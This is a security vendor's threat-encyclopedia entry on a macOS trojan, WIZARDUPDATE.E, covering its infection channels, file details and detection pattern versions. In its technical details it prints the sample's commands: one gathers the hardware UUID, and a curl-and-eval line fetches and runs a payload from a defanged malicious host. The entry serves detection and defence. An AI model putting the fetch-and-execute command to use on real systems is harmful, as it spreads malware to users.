Trojan.MacOS.WIZARDUPDATE.E
August 24, 2023
ALIASES:
MAC/Agent.E3CB!tr (FORTINET)
PLATFORM:
MacOS
OVERALL RISK RATING:
DAMAGE POTENTIAL:
DISTRIBUTION POTENTIAL:
REPORTED INFECTION:
INFORMATION EXPOSURE:

Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
Canal de infecção: Downloaded from the Internet, Dropped by other malware
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
Tipo de compactação: 90,768 bytes
Tipo de arquivo: Mach-O
Residente na memória: No
Data de recebimento das amostras iniciais: 22 Oct 2021
Carga útil: Collects system information, Connects to URLs/IPs
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Other Details
This Trojan does the following:
- The sample connects to a URL to download malware. This download routine is embedded in the cstring section of the sample written in binary format.
- Upon decryption it shows that the sample gathers hardware information of the machine via this command:
- ioreg -ad2 -c IOPlatformExpertDevice | xmllint –xpath '//key[.="IOPlatformUUID"]/following-sibling::*[1]/text()'
- Then using the curl command, it connects to a URL to download a malicious file and then execute it using eval command:
- MNZPAWE=$(curl --connect-timeout 900 -L "https[://]{BLOCKED}p[.]comhelpermodule[.]com/mnsdf?maid={{$}}");eval "$MNZPAWE"
SOLUTION
Mecanismo de varredura mínima: 9.800
Primeiro arquivo padrão VSAPI: 18.654.04
Data do lançamento do primeiro padrão VSAPI: 24 Aug 2023
VSAPI OPR Pattern Version: 18.655.00
VSAPI OPR Pattern veröffentlicht am: 25 Aug 2023
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